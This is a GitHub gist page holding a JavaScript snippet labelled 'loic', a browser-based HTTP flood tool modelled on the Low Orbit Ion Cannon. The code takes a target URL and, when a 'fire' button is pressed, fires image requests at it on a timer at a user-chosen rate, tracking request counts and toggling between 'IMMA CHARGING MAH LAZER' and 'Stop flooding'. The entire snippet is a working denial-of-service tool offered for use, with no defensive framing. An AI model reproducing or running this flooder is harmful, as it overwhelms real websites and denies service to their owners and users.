Skip to content

Instantly share code, notes, and snippets.

@rodrigo-x
Created October 15, 2012 00:38
Show Gist options
  • Save rodrigo-x/3890295 to your computer and use it in GitHub Desktop.
Save rodrigo-x/3890295 to your computer and use it in GitHub Desktop.
snippet - loic..
var LOIC = LOIC || {};
LOIC.Class = (function () {
// Global Variables
var fireInterval;
var isFiring = false;
var requestedCtrNode = document.getElementById("requestedCtr");
var succeededCtrNode = document.getElementById("succeededCtr");
var failedCtrNode = document.getElementById("failedCtr");
var targetURLNode = document.getElementById("targetURL");
var fireButton = document.getElementById("fireButton");
var messageNode = document.getElementById("message");
var rpsNode = document.getElementById("rps");
var timeoutNode = document.getElementById("timeout");
var targetURL = targetURLNode.value;
targetURLNode.onchange = (function () {
targetURL = this.value;
});
var requestsHT = {}; // requests hash table, may come in handy later
var requestedCtr = 0,
succeededCtr = 0,
failedCtr = 0;
var makeHttpRequest = (function () {
if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
return;
};
var rID = Number(new Date());
var img = new Image();
img.onerror = function () {
onFail(rID);
};
img.onabort = function () {
onFail(rID);
};
img.onload = function () {
onSuccess(rID);
}; // TODO: it may never happen if target URL is not an image...// but probably can be fixed with different methods
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
});
var onRequest = (function (rID) {
requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
});
var onComplete = (function (rID) {
delete requestsHT[rID];
});
var onFail = (function (rID) {
// failedCtr++;
//failedCtrNode.innerHTML = failedCtr;
succeededCtr++; //Seems like the url will always fail it it isn't an image
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
});
var onSuccess = (function (rID) {
succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
});
fireButton.onclick = (function () {
if (isFiring) {
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "IMMA CHARGING MAH LAZER";
}
else {
isFiring = true;
this.innerHTML = "Stop flooding";
fireInterval = setInterval(makeHttpRequest, (2500 / parseInt(rpsNode.value) | 0));
}
});
}(LOIC.Class));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment